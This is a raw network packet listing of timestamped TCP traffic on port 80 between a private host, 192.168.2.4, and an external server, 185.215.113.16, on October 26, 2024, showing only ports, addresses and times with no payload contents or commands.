Oct 26, 2024 05:54:23.456255913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.456290007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.456295967 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.460956097 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.460989952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.461025000 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.461067915 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.461098909 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.461124897 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.461133957 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.461165905 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.461170912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.461222887 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.461266041 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.461328983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.461371899 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.461380959 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.461414099 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.461446047 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.461458921 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.485533953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.485610008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.485644102 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.485665083 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.485677958 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.485693932 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.536611080 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.581891060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.582086086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.582159996 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.582178116 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.589267015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.589334965 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.589503050 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.589538097 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.589577913 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.589589119 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.589616060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.589647055 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.589653969 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.589679956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.589713097 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.589725971 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.589745998 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.589785099 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.594533920 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.594763994 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.594798088 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.594820976 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.594871998 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.594903946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.594912052 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.594973087 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.595015049 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.595036030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.595068932 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.595102072 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.595110893 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.595458031 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.595510006 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.595525026 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.595555067 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.595593929 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.646811008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.646897078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.646929979 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.646960020 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.646997929 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.647031069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.647039890 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.647063971 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.647097111 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.647104979 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.692833900 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.713390112 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.713495970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.713530064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.713547945 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.723841906 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.723908901 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.724087954 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.724121094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.724199057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.724206924 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.724232912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.724267006 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.724273920 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.724298954 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.724330902 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.724340916 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.725300074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.725358963 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.725362062 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.725394011 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.725452900 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.725819111 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.725871086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.725904942 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.725930929 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.735853910 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.735929966 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.736068010 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.736097097 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.736129999 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.736161947 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.786628008 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.807862043 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.807934999 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.807987928 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.808052063 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.808080912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.808113098 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.808130026 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.808147907 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.808180094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.808192015 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.808229923 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.808262110 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.808276892 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.808293104 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.808339119 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.847170115 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.847372055 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.847405910 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.847423077 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.848010063 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.848038912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.848069906 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.854123116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.854188919 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.854240894 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.854275942 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.854306936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.854317904 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.854338884 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.854371071 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.854377985 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.857564926 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.857594967 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.857631922 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.857741117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.857770920 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.857785940 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.859158039 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.859188080 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.859208107 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.859236956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.859263897 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.859278917 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.859555960 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.859647036 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.897196054 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.897227049 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.897258043 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.897269964 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.897289038 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.897326946 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.969585896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.969628096 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.969661951 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.969674110 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.969696045 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.969738007 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.969749928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.969784021 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.969816923 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.969822884 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.969851017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.969882965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.969890118 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.969918966 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.969966888 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.980916977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.981003046 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.981040001 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.981051922 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.987842083 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.987904072 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.988014936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.988049984 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.988084078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.988133907 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.988168955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.988173008 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.988203049 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:23.988219023 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:23.988249063 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.009480953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.009565115 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.009617090 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.009617090 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.052201033 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.059534073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.059750080 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.059782028 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.059814930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.059828997 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.059863091 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.130553007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.130657911 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.130722046 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.130783081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.130868912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.130917072 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.130919933 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.131161928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.131195068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.131211042 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.131249905 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.131283998 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.131297112 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.131336927 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.131387949 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.131527901 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.131581068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.131613970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.131625891 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.131788969 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.131823063 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.131839037 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.131856918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.131891012 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.131912947 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.132416964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.132464886 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.132496119 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.170803070 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.170836926 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.170864105 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.170870066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.170917034 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.219909906 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.220271111 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.220299959 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.220331907 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.220340014 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.220371962 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.291944981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.291981936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.292030096 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.292032957 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.292064905 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.292098999 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.292112112 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.292126894 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.292169094 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.292237997 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.292270899 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.292305946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.292320967 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.292337894 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.292386055 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.292622089 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.292778015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.292825937 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.292829037 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.292891979 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.292927027 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.292946100 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.292958975 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.293004036 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.293322086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.293373108 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.293406963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.293421030 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.293446064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.293473959 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.293493032 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.331716061 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.331746101 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.331792116 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.331813097 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.331840992 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.331861019 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.380496979 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.381383896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.381414890 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.381448030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.381479979 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.381485939 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.381532907 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.453234911 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.453432083 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.453464985 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.453509092 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.453530073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.453562975 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.453581095 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.453598976 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.453646898 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.453669071 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.453720093 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.453752995 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.453774929 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.453969002 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.454020977 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.454024076 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.454056978 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.454103947 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.454108000 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.454139948 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.454191923 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.454524994 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.454577923 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.454612017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.454627991 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.454646111 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.454695940 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.454991102 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.455041885 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.455080986 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.455090046 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.493124008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.493154049 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.493175030 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.493275881 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.493304968 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.493330002 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.536602020 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.542639971 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.542670965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.542702913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.542736053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.542740107 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.542788029 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.614861012 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.614907980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.614984035 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.614988089 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.615015030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.615047932 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.615061045 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.615081072 CEST	80	49742	185.215.113.16	192.168.2.4
